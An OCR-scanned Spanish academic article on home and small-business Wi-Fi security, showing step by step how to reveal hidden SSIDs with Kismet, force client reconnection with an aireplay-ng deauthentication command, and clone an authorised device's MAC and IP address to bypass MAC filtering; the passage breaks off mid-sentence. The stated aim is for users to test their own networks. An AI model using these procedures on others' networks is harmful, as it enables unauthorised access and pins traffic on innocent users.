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RESUMEN.

En este articulo se listan y analizan los mecanismos de seguridad mas utilizados en las redes inaldambricas actuales tanto
para residencias como para las PYME con el objetivo que los usuarios tomen mas conciencia en la configuracién de la
seguridad y puedan realizar ellos mismos las correcciones que reduzcan las vulnerabilidades en los Puntos de Acceso.

Tal como se evidencia en el articulo, es posible identificar redes inaldmbricas ocultas, clonar direcciones fisicas para
navegar como si fuera otro equipo, y romper las contrasefias no es una tarea que pueda ser realizada solo por expertos
en redes; por lo cual, cualquier persona con el software listado aqui, una tarjeta inaldmbrica que permita la inyeccién
de paquetes y los pasos de las pruebas presentados en este articulo, puede comprobar la seguridad de su propia red
con el fin de reducir las vulnerabilidades aplicando una serie de recomendaciones brindadas al final de las pruebas.
SEGURIDAD EN COMPUTADORES, HACKING-PROTECCION DE DATOS, REDES PRIVADAS VIRTUALES.
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ABSTRACT

This article lists and discusses the security mechanisms used in today’s wireless networks for both residential and SMEs in order
that users’ awareness on the security settings themselves and can make corrections that reduce vulnerabilities in the Access
Points. As evidenced in the article, it is possible to identify hidden wireless networks, physical addresses clone to navigate as
another team and crack passwords is not a task that can be performed only by experts in networks; therefore, anyone with
the software listed here, a wireless card that allows packet injection and the steps of the evidence presented in this article,
you can check the security of your own network in order to reduce vulnerabilities by applying a series of recommendations
provided at the end of the tests. COMPUTER SECURITY , HACKING-PRIVACY, VIRTUAL PRIVATE NETWORKS.

I. Las redes inaldmbricas en hogares

El presente articulo tiene como objetivo
verificar que tan seguras o vulnerables son
los actuales mecanismos de seguridad en
las redes inaldmbricas tipo WI-FI utilizadas,
tanto en ambitos empresariales como en
el hogar; de forma que, los usuarios estén
conscientes del nivel de seguridad que
ofrecen dichos mecanismos a la hora de
configurar sus propias redes y conectarse
a otras. Ademas en este articulo se detallan
los procedimientos paso a paso para
verificar las vulnerabilidades de las redes
WI-Fl asi como los resultados de los mismos.

Debido a que cada vez se incrementan los
usuarios con dispositivos mdviles como
teléfonosinteligentes, tabletas electrdnicas,
computadoras portdtiles, televisores vy
reproductores DVD inaldmbricos entre
otros; es muy comun que en las residencias

existan Puntos de Acceso' (Access Point
- AP), los cuales permiten crear una red
de computadoras y brindar el acceso a la
Internet a los equipos asociados a dicho AP.

1 Los proveedores de servicios de Internet proporcionan sus abonados
equipos multifuncién los cuales poseen las funciones de: Switch Ethernet,
Punto de Acceso, Router, MODEM. Sin embargo en este articulo se hard
referencia a este equipo multifuncional con el nombre de Punto de
Acceso (AP).

Los Puntos de Acceso en muchisimas
ocasiones poseen una configuracion
estandary accesos de seguridad insipientes;
ya que, la administracién masiva de los
Puntos de Acceso para la empresa que
brinda el servicio de Internet es muy grande;
pero la conveniencia de la administracién
para la empresa operadora es muchas veces
una vulnerabilidad en la seguridad de la red
inaldmbrica para los usuarios finales. Es por
ello que algunas personas “roban” el acceso
a Internet del vecino; y si bien es cierto que
algunas personas solo utilizan el acceso
a Internet de los vecinos, también se ve
comprometida la seguridad de los equipos
dentro de la red del usuario que paga la
cuenta de Internet.

Un usuario no sdlo debe estar preocupado
por la lentitud del acceso (reduccién
del ancho de banda efectivo), ya que
las descargas no autorizadas, descargas
de material “pirata” y visitas a sitios
pornograficos, de violencia extrema, entre
otros, serdn registradas al Punto de Acceso
del usuario que paga la cuenta a la compafiia
que brinda el Acceso.

De forma general las redes WI-FI permiten

aplicar los siguientes mecanismos de
proteccién, los cuales serdan sujetos a
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pruebas de vulnerabilidad en el presente
articulo, con excepcidn del dltimo.

1. Ocultar laidentificacién del Punto de Acceso.

2. Definir en el AP la lista de las direcciones
fisicas (MAC Address) de las tarjetas de red

3. Utilizar contrasefa para asociarse
utilizando WEP

4. Utilizar contrasefia para el asociarse
utilizando WPA

5. ElusodeWPS enequipos masrecientes.

II. Ocultar la identificacion del AP.

El identificador para un Punto de Acceso WI-
FI se denomina SSID Service Set IDentifier
(King, 2001) el cual dependiendo de los
equipos involucrados puede ser de dos tipos:

e BSSID: cuando uno o mas equipos
inaldmbricos WI-FI se comunican entre
si con el AP; el identificador de esta red
es la direccion fisica del AP.

e ESSID: cuando uno o mds equipos
inaldmbricos WI-FI que forman diferentes
BSSID se comunican entre ellos.

e Por ejemplo, un campus universitario
o empresa donde hay varios AP pero
todos ellos interconectados

De forma general cuando un dispositivo
mdvil quiere asociarse (“unirse”, “pegarse”)
a un Punto de Acceso para utilizar la red de
datos, debe conocer el SSID para poder
establecer la comunicacidn; Asi que, si un
usuario no ve o desconoce el SSID no podra
asociar su tarjeta de red, por consiguiente
no podra navegar en la red ni comunicarse
con el resto de equipos dentro de dicha red.
Es porello que el primer mecanismo consiste
en ocultar la publicacién del AP para evitar
que usuarios no autorizados vean el SSID y
se asocien en el AP

INsTiTUTO DE CIENCIA, TECNOLOGIA E INNOVACION (ICTI)

2.1 Metodologia de la prueba.

a. Configurar el AP para Ocultar el SSID.

b. Conectar cualquier dispositivo mdvil en el
APy navegar en Internet para verificar que
todo funciona correctamente.

c. Utilizar Kali2 en otra computadora para
realizar las pruebas de penetracion.

d. Obtener el SSID para la conexidn.

2.2 Escenario y recursos para las pruebas de
ocultamiento del SSID

Para verificar la efectividad de este
mecanismo de proteccidn serd necesario
disponer de:

e 1AP con conexidn a Internet.

e 1 Computadora portatil con lector DVD
y tarjeta inaldmbrica para realizar las
pruebas de penetracidn.

e 1 Equipo mdvil conectado previamente
al AP, puede ser teléfono inteligente,
tableta electrdnica u otra computadora
portatil.

e 1 DVD de la distribucién Kali* disponible
la descarga en: http://www.kali.org/
downloads/.

En la figura 1 se muestran los elementos
requeridos para realizar las pruebas de
vulnerabilidad en la seguridad de redes WI-
FI por ocultamiento de SSID.

Para ocultar el SSID en un AP se necesita la
contrasefia de administracion del equipo, el
usuario en la gran mayoria de los casos es
“admin”. Si no se conoce la contrasefia de

2 Los proveedores de servicios de Internet proporcionan sus abonados
equipos multifuncién los cuales poseen las funciones de: Switch Ethernet,
Punto de Acceso, Router, MODEM. Sin embargo en este articulo se hard
referencia a este equipo multifuncional con el nombre de Punto de
Acceso (AP).
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administracién del equipo (No confundir
con la contrasefia para asociarse y navegar
en la red), se puede solicitar al proveedor
de Internet o buscar en la Internet la
contrasefia de fabrica y entonces reiniciar el
equipo y utilizar dicha contrasefia.

Figura n°. 1 - Elementos necesarios para las
pruebas de vulnerabilidad en redes WI-FI
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Existen muchos sitios web en Internet en
los cuales se muestra la contrasefa de
fabrica para varias marcas y modeos de AP
(Router), las siguientes direcciones Web
fueron consultadas en fecha previa de la
edicién de este articulo:

e http://portforward.com/default_
username_password/

e http://www.anameless.com/blog/
default-passwords.html

¢ http://www.routerpasswords.com

También una aplicacion para Android
desarrollada por un alumno de una
prestigiosa Universidad Salvadorefia con el
nombre de “TurboWifi”, la cual le permite
indicar si la contrasefia del usuario “Admin”
es la direccidon fisica del equipo y utilizar
dicho dato para a la red, la aplicacidn se
puede instalar directamente desde el

Google Play en el teléfono o descargarla
desde la siguiente direccidn:

e https://play.google.com/store/
apps/details?id=com.randomware.
turbowifi&hl=es_419

Para configurar el AP para la prueba de
vulnerabilidad cuando se oculta el SSID
se deben realizar los siguientes pasos,
teniendo en cuenta que cada AP (Router)
tiene pantallas de configuracion diferentes.
Para estas pruebas se ha utilizado un Router
marca D-Link modelo DIR-655.

e Paso 1. Digitar la direccién IPv4 del AP
en un navegador Web. Por lo general
es la direccién http:/[192.168.0.1, 0
http:/[192.168.1.1

e Paso 2. Digitar el nombre del usuario
administrador. Generalmente es
“admin” en minusculas.

e Paso 3. Digitar la contrasefia del
administrador. Puede ser solicitada a la
compafiia brinda el servicio de Internet
o la sugerida por los sitios listados
anteriormente, como la figura n.’ 2.

Figura n.’ 2 Pantalla de ejemplo para ingreso
a las pantallas de configuracién de los AP

Lice o Tl S

e Wi @ L
Passwoed - |

e Paso 4. Seleccionar la seccion Wireless
e Paso 5. Desactivar la publicacién del
SSID
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e Paso 6. Guardar la configuracién y
reiniciar el AP, tomar como ejemplo la
Figuran.’3.

Figura n.’3 Pantalla de ejemplo para
configuracién de las opciones inaldmbricas

. Ll | o ————
o el o s o s W, i

Es conveniente desactivar el tipo de seguridad
(WPE/WPA2), sélo para que la prueba sea
mas facil de comprender, mas adelante se
abordara con detalle cada tipo de seguridad.

Una vez configurado el AP se debera
configurar manualmente un dispositivo maovil
para conectarse al SSID, en esta prueba se
esta utilizando el SSID “pruebas_cuc”. Si se
utiliza un teléfono o tableta con Android se
puede instalar la herramienta “WifiAnalyzer”
para verificar si es visible la red con el SSID
“pruebas_cuc”.

2.3 Verificacién de la vulnerabilidad

Se deberd descargar y quemar en DVD la
imagen de Kali.2

INsTiTUTO DE CIENCIA, TECNOLOGIA E INNOVACION (ICTI)

e Paso 1. Colocar el DVD con Kalien la
computadora y presionar la tecla que le
permite arrancar desde el lector DVD

e Paso 2. Seleccionar la opcion “Live
(686-pae)” del menti y espere a que el
sistema arranque.

Figura n.’4 Menu de arranque de la
distribucién Kali.

AL LIRS
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e Paso 3. Abrir una consola de texto y
compruebar que Kali reconoce a la
tarjeta WI-FI.

Dar clic en el icono de la consola de
comandos. La consola de comandos tiene
un icono con los signos “>_"y se encuentra
en la parte superior de la pantalla, tal como
se ilustra en la siguiente imagen.

Figura n.’5 Acceso a la consola de
comandos

\plicaciones

e Paso 4. Digitar el comando ifconfig

etho  Link encap:Ethernet HWaddr fo:92:1¢:52:37:cc
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:16238 errors:o dropped:412 overruns:o frame:o
TX packets:16887 errors:0 dropped:0 overruns:o carrier:o
collisions:o txqueuelen:1000
RX bytes:1719070 (1.6 MiB) TX bytes:8316265 (7.9 MiB)

lo  Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
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wlano  Link encap:Ethernet HWaddr 68:17:29:91:5¢:9e
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:o errors:o dropped:o overruns:o frame:o
TX packets:o errors:o dropped:0 overruns:o carrier:o
collisions:o txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:o (0.0 B)

En Kali la tarjeta de red tiene por nombre
wlano. Si no aparece wlano, no podra
continuar con el proceso de verificacién de
la seguridad. También es de hacer notar que
no todas las tarjetas de red inaldmbricas
permiten las pruebas de penetracion y ataque
aredes WI-FI

e Paso 5. Utilizar un sniffer o detector de
tramas inaldmbricas tipo WI-FI; debido
a sus funciones se utilizard Kismet?
.Digitar en letras minusculas kismet

5.1 Notificacién “Kismet running as root”
Presionar la tecla ENTER en [OK]

5.2 Notificacion “Start Kismet Server”
Presionar la tecla ENTER en [yes]

5.3 Menu “Start Kismet Server”
Presionar la tecla ENTER en [Start]

5.4 Pantalla de mensajes, se debe esperar
un momento y verificar que aparezca INFO:
“Kismet server accepted connection from
127.0.0.1”

5.5 Notificacién “No Sources”
Presione la tecla ENTER en[Yes]

5.6 Menu “Add Source”
Digitar las siguientes opciones, utilizando la
tecla TAB para desplazarse. Si en el paso 4

3 Kismet, al igual que las demas herramientas utilizadas en este articulo,
pueden ser instaladas en la mayoria de distribuciones Linux; para facilitar
las pruebas de vulnerabilidad se ha determinado utilizar Kali, ya trae pre
instalado Kismet. Kistmet es un programa de texto que permite detectar,
capturar e inyectar tramas de redes WI-FI tipo 802.11a, 802.11b, 802.11g y
802.11n. También permite el andlisis de sefiales GPS cuando se habilita en
mddulo para dichas tramas.

aparecié wlan1t en lugar de wlano, utilice para
las pruebas la tarjeta wlan1.

Intf = wlano

Name = wlano

Opts = cuc
Presionar la tecla ENTER en [ADD]
5.7 Cerrar la ventana de mensajes del servidor
Kismet, utilizando la tecla TAB. Presionar la
tecla ENTER en [Close console window]

En la figura 6 se muestra la pantalla de Kismet
con los AP reconocidos y la informacion
relacionada con dichos AP.

e Paso 6. Identificar el AP oculto. Los AP
ocultos aparecen con el identificador !
<Hidden SSID>

e Paso 7. Visualizar los pardametros del
AP. Presionar simultdneamente las
teclas “Alt” + “K”, luego escoger la
opcion “Sort” y escoger finalmente la
opcion BSSID (b).

Con esto se visualizard la informacion
general como: BSSID, Canal de
transmisién, Tipo de equipo, tipo de
encriptacién y el fabricante.

Es de tener en cuenta que podrian existir
varios AP ocultos y en cuyo caso se
deberdn analizar todos ellos.

e Paso 8. Mover las flechas cursoras
“flecha hacia arriba” y “flecha abajo”,
para desplazarse en los AP presentados
y colocar la barra de color sobre el AP
de interés. Como se muestra enla
figura7.

En este momento interesa conocer el
canal de transmision y el BSSID, el cual se
expresa con doce nimeros hexadecimales
correspondiente a la direccidn fisica del AP.

UNiversiDap Francisco Gavibia (UFG)
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Figura n.’No. 6 - Pantalla de monitoreo de Kismet
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Figuran.’. 7 - Pantalla de visualizacion del SSID y clientes conectados
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e Paso 9. Obtener el SSID. Para obtener
el SSID existen dos maneras:
La primera consiste en esperar que un
cliente se conecte, momento en el cual se
envian los pardametros de conexion.
La segunda opcidn es enviar ‘“tramas
de desasociacion” al AP para que
desconecte de los clientes previamente
asociados, quienes de forma automatica
volverdn a conectarse enviando los
parametros de conexidn, entre los cuales
se envia el SSID.

Caso 1: Esperar conexién de un cliente.

Conectarla otracomputadora o smartphone
al APy visualizar la pantalla de kistmet.
Cuando se conecte el otro equipo, Kismet
mostrard en la pantalla principal el SSID que
utilizd el cliente para asociarse al AP oculto,
ver figura n.”7

Caso 2. Desasociar un cliente conectado para
obligar el reenvio de parametros de conexion.

Es muy recomendable fijar el canal por el cual el
monitor de Kismet captura las tramas, esto es
con el fin de evitar que en el momento que el
cliente se reconecte, kismet esté en otro canal.

Presionar simultdneamente las teclas “Ctrl”
+ “K”, luego seleccione “Config Channel...”,
desplazar el cursos con la tecla “Tab” a ()
Lock” y presionar la barra de espacios, luego
desplazar el cursor en el campo Chan/Freqy
digitar el canal del AP, Finalmente seleccionar
[Change] y presionar la tecla Enter.

Para enviar tramas de desasocicidon es
necesario abrir otra consola de texto, por
lo que se debe seleccionar el menu “File”,
y seleccionar “Open Tab”. En la figura 8 se
muestra como iniciar otra pestafia para una

Figura n.’. 8- Opciones para abrir consola
de comandos.

reatiikali: =

Flea Edt View Sexch Termnal Haelp

Lipen Termenal

Una vez que se tiene otra consola de texto
se debe digitar el siguiente comando en
una sola linea para enviar 5 tramas de
desasociacion (es un cero) al AP con el SSID
oculto.

aireplay-ng-05-aB8:A3:86:AA:BB:01wlanomon

Los mensajes de envio correcto tendrdn la
siguiente forma:

17:58:11 Waiting for beacon frame (BSSID:
B8:A3:86:AA:BB:01) on channel 1

NB: this attack is more effective when
targeting

a connected wireless client (-c <client’s mac>).
17:58:11 Sending DeAuth to broadcast --
BSSID: [B8:A3:86:AA:BB:01]

17:58:12  Sending DeAuth to broadcast -
BSSID: [B8:A3:86:AA:BB:01]

17:58:12  Sending DeAuth to broadcast -
BSSID: [B8:A3:86:AA:BB:01]

17:58:13 Sending DeAuth to broadcast -
BSSID: [B8:A3:86:AA:BB:01]

17:58:13 Sending DeAuth to broadcast -
BSSID: [B8:A3:86:AA:BB:01]

Al finalizar el envio de tramas de
desasociacidnregresar a la pantalla principal
de Kismet y se podra ver el SSID. Es una
pantalla igual a la figura 7.
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2.4 Resultado de las pruebas

Al utilizar herramientas que permitan el
escaneo y anadlisis de las tramas que se
envian en la trasmisién inaldmbrica no solo
se puede visualizar el SSID de un AP sino
que ademads es posible obtener informacién
como: el canal de transmisidn, potencia en
el punto de escaneo, direccion MAC de los
clientes y tipos de tarjetas WI-FI entre otros.

lll. Definir direcciones fisicas especificas
para el acceso al AP

Este mecanismo de seguridad consiste en
crear una lista de las direcciones fisicas MAC
— Media Access Control, a las que se permite
asociarse al AP, de forma que el equipo que
no se encuentre en dicha lista no podra
utilizar el AP. Si un nuevo dispositivo movil
desea conectarse el administrador debera
obtener la direccién MAC del dispositivo,
ingresar a la pantalla de configuracién y
agregar dicha MAC.

La idea de este nivel de seguridad consiste
en el hecho que la direcciéon MAC la cual es
un identificador unico formado por doce
numeros hexadecimales, estd almacenada
en un chip tipo ROM (Read Only Memory
- Memoria de Sélo Lectura), por lo que se
debe desoldar el chip de la tarjeta de red,
reprogramarlo y volverlo a soldar para
modificar dicho valor. Aunque lo anterior
es cierto, existen programas en Unix, Linux,
FreeBSD, Mac OS X Android y por supuesto
en Windows que permiten modificar a nivel
de software el valor de la MAC.

Tal como lo indica la norma ISO/IEC de la
IEEE (IEEE Standars Association, 1995)
una direccion MAC estd formada por dos
secciones: el identificador del fabricante y

INsTiTUTO DE CIENCIA, TECNOLOGIA E INNOVACION (ICTI)

un ndmero de secuencia. La identificacién
del fabricante utiliza los primeros seis
nimeros hexadecimales para identificar
el codigo asignado por la IEEE, esta parte
se denomina (Organizationally Unique
Identifier - OUI).

Utilizando por ejemplo: la direccién oo-
13-15-AB-01-42, corresponderia a una
tarjeta fabricada por SONY Computer
Entertainment inc oficinas tokio.

Cuando se conoce la MAC es posible
identificar al fabricante, quien puede
determinar en qué zona del mundo ha
vendido o distribuido un determinado
bloque de equipos, luego si la MAC es una
teléfono, tableta electrénica o computadora
portétil se podria identificar informacién
sobrelapersona quelaadquirid y asivincular
un equipo a una persona o empresa.

Es por lo anterior que cambiar el valor de
la direccién fisica permite a atacantes y a
crackers (hackers con malas intenciones),
utilizar otra direccién fisica para no ser
vinculados o enviar informacién como si
fuera otro equipo.

Existen muchas aplicaciones para cambiar
el identificador* de la MAC en sistemas
operativos clientes, dichas aplicaciones
hacen cambios temporales es decir hasta
que el equipo es reiniciado, ya que nunca

4 El uso de programas para cambiar la direccién fisica o MAC es para
facilitar dicha accidn, ya que en la mayoria de los sistemas operativos
puede definirse el nuevo valor en los archivos o registros de configuracion;
por ejemplo, en Linux puede definirse por comandos en ifconfig, definir el
valor de la MAC en el archivo de configuracidn para la interfaz. En el caso
de Windows si el driver lo permite puede asignarse una falsa MAC en las
propiedades de la tarjeta, o bien puede definirse el valor de la MAC en el
registro de Windows. En algunos AP si el cliente ya esta conectado no es
necesario anotar la MAC porque el equipo automdticamente presenta la
lista de MAC de los equipos conectados en ese momento, lo cual ahorra
tiempo al obtener la MAC.
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se modifica el valor de la MAC almacenado
en la ROM. A continuacién se recomiendan
aplicaciones muyfaciles de utilizary efectivas
segun el sistema operativo utilizado.

Para Linux, se utiliza macchanger, la
cual estd disponible en la mayoria de
las distribuciones. Para obtener mas
informacién en se puede consultar: https://
tails.boum.org/blueprint/macchanger/

Para Windows, es necesario descargar
e instalar un programa con permisos de
administrador, una aplicacién para todas
las versiones modernas de Windows es
“Technitium MAC Address Changer” version
6.0.5 Freeware disponible en http://www.
technitium.com/tmac/

Para Mac OS X: de forma similar con sistemas
UNIX se puede cambiar con comandos.

Para Android: se necesita que el teléfono
esté “rooteado” y tener instalado busybox,
una aplicacion muy sencilla de utilizar es
“MAC Spoofer (root)”, la cual puede ser
descargada de Google Play

De forma andloga se puede entender que
la direccion de red IPv4 es como el nimero
telefénico de la operadora de telefonia
celular y la direccién fisica MAC es como el
IMEI® de dicho celular. Si se bloquea en la
red del operador el nimero telefénico, el
teléfono podra utilizar otro nimero, pero si
se bloquea el IMEI, entonces ya no se podra
utilizar el teléfono para dicha operadora.

5 El IMEl (International Mobile Equipment Identity - Identidad
Internacional de Equipo MOvil) es un identificador Unico para cada
teléfono GSM grabado en una ROM, el cual puede ser obtenido al
presionar *#06#

3.1 Metodologia de la prueba
La metodologia para esta prueba sera:

a. Configurar el AP para crear la lista de
direcciones MAC autorizadas.

b. Conectar un equipo autorizado para
verificar que el escenario funciona
correctamente.

¢. Utilizar las herramientas de Kali para
identificar APy clientes, desde otro equipo.

d. Sustituir la MAC del equipo que se desea
asociar al AP por la MAC del equipo
autorizado.

e. Navegar en Internet como si fuera el otro
equipo autorizado.

3.2 Escenario y recursos de prueba

Para verificar la efectividad de este mecanismo
de seguridad igual que en la prueba anterior
serd indispensable disponer de:

e 1AP con conexidn a Internet.

e 1 Ccomputadora portatil con lector
DVD y tarjeta inaldmbrica para realizar
las pruebas de penetracidn.

e 1Eequipo mdvil conectado
previamente al AP, puede ser teléfono
inteligente, tableta electrdnica u otra
computadora portatil.

e 1DVD de la distribucién Kali.

En las pruebas serd necesario que haya
una computadora cuya direccién fisica ha
sido agregada previamente a la lista de
direcciones MAC autorizadas a conectarse.
Es de tener muy en cuenta que cada AP tiene
pantallas de configuracién muy diferentes,
para estas pruebas se ha utilizado un Router
marca D-Link modelo DIR-655.
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En el escenario de esta prueba se ha
utilizado una computadora con Windows 8
que tendrd el rol de ser el cliente autorizado,
y por medio del comando “ipconfig /all” ha
visualizado la direccién MAC de la tarjeta de
red WI-FI.6

Para preparar el AP para las pruebas de
vulnerabilidad en filtros MAC es necesario
realizar lo siguiente:

e Paso 1. Ingresar como el usuario
“admin” y utilice la contraseia de
administracion.

6 También puede utilizarse el comando getmac, pero es necesario
identificar cual es la tarjeta, si el equipo que utiliza es un Linux puede
utilizar el comando “ifconfig wlano” y buscar la informacién en Hwaddr

e Paso 2. Buscar la opcion donde aparezca
la lista de direcciones MAG, (es de
recordar que cada AP tiene mends
diferentes). Al ingresar a las opciones
de configuracion seleccione la Pestafia
“ADAVANCED”, luego la opcién de la
izquierda “NETWORK FILTER”.

e Paso 3. Activar la opcidn de la lista de
MAC seleccionando la opcién “Turn
MAC Filtering ON and Allow computers
listed to Access the network”.

e Paso 4. Digitar la direccion MAC del
equipo autorizado

e Paso 5. Guardar los cambios y esperar a
que el AP se reinicie.

Todo este procedimiento se puede observar
en la figura n.°No. 9

Figura n.’ 9 - Pantalla para agregar las direcciones MAC autorizadas para

conectarse aun AP

Th MAC (Media Access Controlior) Address Biter opbion i usd 1 convol robvork acooss based
on the MAC Address of e nobwork adapter. A MAC sddress is a unique ID assigned by the
manutacturer of the network adapler. This leature can be conSigured K ALLOW or DENY
netoriuintemet aocess.

Save Solings. Don't Save Sstiings

24 — MAC FILTERING RULES

Cantgura MAC Filtorning bolow
Tien MAC Fillarirg ON and ALLOW comguiers ied o nocess B nobeok 7

MALC Addross DHCP Chant List

fe2-a s 001122 < | | UserPC (22238001122 ¥ | Cloar
oL Computer Name T inae

[ | < | | Cormputir Name L Cioaw
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3.3 Verificacion de la vulnerabilidad

Enestapruebase utilizard otra computadora
con la distribuciéon Kali 1.0.7 ejecutandose
y es necesario que haya una maquina
conectada al AP.

e Paso 1. Abrir una consola de comandos.

e Paso 2. Verificar que se encuentre activa
y reconocida por el sistema operativo la
tarjeta inaldambrica. Digitar el comando
ifconfig.

etho Link encap:Ethernet HWaddr
22:00:44:12:34:56
Scope:Link
UP BROADCAST RUNNING MULTICAST
MTU:1500 Metric:1
RX packets:46072 errors:o dropped:2847
overruns:o frame:o
TX packets:3238 errors:0 dropped:o
overruns:o carrier:0
collisions:0 txqueuelen:1000
RX bytes:3947694 (3.7 MiB) TX
bytes:1271927 (1.2 MiB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536
Metric:1
RX packets:278 errors:o dropped:o
overruns:o frame:o
TX packets:278 errors:o dropped:o
overruns:o carrier:0
collisions:0 txqueuelen:o
RX bytes:18200 (17.7 KiB) TX bytes:18200
(17.7 KiB)

wlano Link encap:Ethernet HWaddr
22:33:44:aa:bb:c1
UP BROADCAST MULTICAST MTU:1500
Metric:1

RX packets:0 errors:o dropped:o
overruns:o frame:o

TX packets:0 errors:o dropped:o
overruns:o carrier:0

collisions:0 txqueuelen:1000

RX bytes:0 (0.0 B) TX bytes:o (0.0 B)

e Paso 3. Digitar en letras minusculas
kismet

3.1 Notificacién “Kismet running as root”
Presionar la tecla ENTER en [OK]

3.2 Notificacién “Start Kismet Server”
Presionar la tecla ENTER en [yes]

3.3 Mendu “Start Kismet Server”
Presionar la tecla ENTER en [Start]

3.4 Pantalla de mensajes, se debe esperar
un momento y verificar que aparezca INFO:
“Kismet server accepted connection from
127.0.0.1”

3.5 Notificacién “No Sources”
Presione la tecla ENTER en [Yes]

3.6 Menu “Add Source”
Digitar las siguientes opciones, utilizando la
tecla TAB para desplazarse.
Intf = wlano
Name = wlano
Opts = cuc2
Presionar la tecla ENTER en [ADD]

3.7 Cerrar la ventana de mensajes del
servidor Kismet, utilizando Ila tecla
TAB. Presionar la tecla ENTER en [Close
console window]

3.8 Ubicar el AP destino

Ya se ha cubierto el procedimiento si el AP
estuviera oculto en la seccidon anterior. Los
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parametros que es necesario conocer son: SSID,
Canal de transmisidn y los clientes conectados.

3.9 Seleccionar el canal en kismet si fuera
necesario. Paraello, presionarsimultaneamente
“Alt”  + “K”, presionar “flecha abajo”,
seleccionar “Config channel . . .”, con la tecla
TAB, seleccionar la opcién ()Lock. Presionar
la tecla barra espaciadora para se obtenga (*)
Lock luego despalazar el cursor a “Chan/Freq”
y digitar el canal del AP de destino.

Figura n.’10 Definicién de canal de
escucha especifico.

e Paso 4. Visualizar la informacién de los
clientes conectados al AP.

4.1 Presionar simultdneamente las teclas
“Alt” + “K”, y moverse a “Sort”, seleccionar

la opcién “Channel” por medio de las teclas
de desplazamiento y presionar la tecla
“Enter”. Tal como lo muestra la Figura n.”11.

4.2 Visualizar la informacién de los clientes
conectados.

Luego de haber seleccionado el AP de
interés y haber presionado la tecla “Enter”,
Presionar simultdneamente “Alt” + “N”,
Seleccionar la opcién “View”, luego escoger
clientes a analizar. En esta pantalla se podra
observar informacién del cliente como la
direccién IPv4, canal, MAC y tiempo de
conexion. Vea la figura 12.

4.3 Habilitar la opcién de detalle para los
clientes conectados.

Presionar “Alt” + “C”, seleccionar “Sort” con
las teclas de desplazamiento, seleccionar la
opcion “Client Type”.

4.4 Visualizar datos de conexidn del cliente:
MAC del cliente, tipo de equipo, Fabricante,
direccion IPv4 asignada y fecha/hora de
conexién. Ver figura 11.

e Paso 5. Cambiar la direccién fisica del
equipo atacante y sustituirla por la
direccién IP del cliente conectado.

Figura n.’11 Seleccién del AP de interés.

~ Kismet Sort View windows
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Figura n.’ 12 Informacion del cliente conectado.

ort Windows

En el equipo que no estd autorizado se debe
realizar lo siguiente:

e Cambiar la direccion MAC.

* Asignar de forma estatica la direccion
IPv4 y mascara que tiene actualmente
el cliente.

e Definircomo Gatewayy DNS ladireccion
IPv4 del AP.

Para el caso de Kali o un equipo con Ubuntu,
Debiany similares se debe realizar lo siguiente.

5.1 Dar un clic en el botén de Network
Manager (icono de computadora en la parte
superior derecha) Figura 13.

Figura n. 13 Administrador grafico de red.

* EE ® root

5.2 Dar clic derecho en “Edit Connections”
5.3 Seleccionar la ficha “Wireless”

5.4 Dar clic en Add

5.5 Llenar los siguientes campos:
Connection name = clon (cualquier texto)
SSID = el SSID del AP “pruebas_cuc”

Mode = seleccionar “Infraestructure”
Cloned MAC Adrress = digitar la MAC del
equipo conectado actualmente por ejemplo
22:24:36:00:11:22

MTU = automatic.
Ver figura 14.

5.6 Definir los valores IPv4.

Address = la misma que el equipo cliente
Netmask = la misma que el equipo cliente
Gateway = la direccién del AP

DNS = la direccién del AP

Ver figura 15.

Figura n.’14 Configuracion ficha
“Wireless”

Editing clan
Connactesn nama:  clom

¥ Connect sutomatically

Wireless | Wireless Seounty | IPwh Setbngs | 1P Setbngs
S5 prushas_cus

Pl e rifrastrucbure W

Davice MAC addrass
Clonad MAC J-‘.-""Ie'. RN FE0011:22

TU m + | buytai

¥ Avalable to sl users Cancal Savie
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Figura n.’15 Configuracion ficha “IPv4
Settings”

Editing clon
Conmestion aame:  clan

¥ Conmect sutomatically

Wiralags | Wirslass Secunity| |Ped Settingi | IPaS S'Illngi

Mathod M il bl
Addresses
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1921680102 255.255.2550 19216801
Delete
DS pervers 192.168.0.1
Saarch doeman i
Requara IPwd sddrasung for thif conmeclon 1o complete
Routes
o Avmlable to sll uers Candal S

5.7 Dar un clic en botén “Save...”, y dar clic
en botdn “Close” de la pantalla “Network
Connections”.

e Paso 6. Activar la configuracién . Dar un
clicenelicono delared, seleccionar el AP.

Para verificar que se ha asignado el valor de
la IP se debe abrir una consola de texto y
digitar el comando ifconfig wlano.

root@kali:~# ifconfig wlano

wlano Link encap:Ethernet HWaddr
22:24:36:00:11:22

inet addr:192.168.0.100
Bcast:192.168.0.255
Mask:255.255.255.0

Si hubiera alguin error y no puede navegar
digite los siguientes comandos en Kali:

INsTiTUTO DE CIENCIA, TECNOLOGIA E INNOVACION (ICTI)

ifconfig wlanomon down
ifconfig wlano down
ifconfig wlano up

Utilizar el Network Manager y seleccionar el
nombre del SSID.

e Paso 7. Navegar en Internet en ambos
equipos.

e Paso 8. Verificar los registros del AP.

Figura n.’ 16 - Equipos conectados al AP

WUMBER OF WIRELESS CLIENTS - 24GHE BAKD: 1
MAL Addrens ¥ Addreas Mode Bate Bigrak]
ERA MR NEY AHE TG00 L RLL] 1 30 i

3.4 Resultados de las pruebas.

Como se evidencia al realizar las pruebas,
el mecanismo de definir un listado de
direcciones MAC autorizadas a asociarse a
un AP, no es un mecanismo seguro ya que
el AP es incapaz de determinar que existen
dos equipos con la misma MAC y la misma
direccidn IPv4 y por consiguiente asume
que se trata del equipo autorizado.

Esta vulnerabilidad estd explotada por el
hecho que existe software para casi todos
los sistemas operativos que permite cambiar
la direccién MAC.

Al buscar los registros de acceso del sistema
en el AP se observara que sélo el equipo
autorizado ha realizado las conexiones
sin mostrar evidencia que hay dos o mds
equipos conectados.
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Por lo anterior un usuario malicioso podria
navegar desde cualquier dispositivo movil
utilizando el identificador de otra direccién
fisica asi como la direccién Iégica de red
(IPv4), esto significa que podria ser asociado
un trafico o visita a sitios no autorizados a
un usuario inocente.

Para determinar si alguien ha clonado la MAC
y la IPv4, se deberd apagar el cliente y con
otro equipo verificar si existe trafico con la
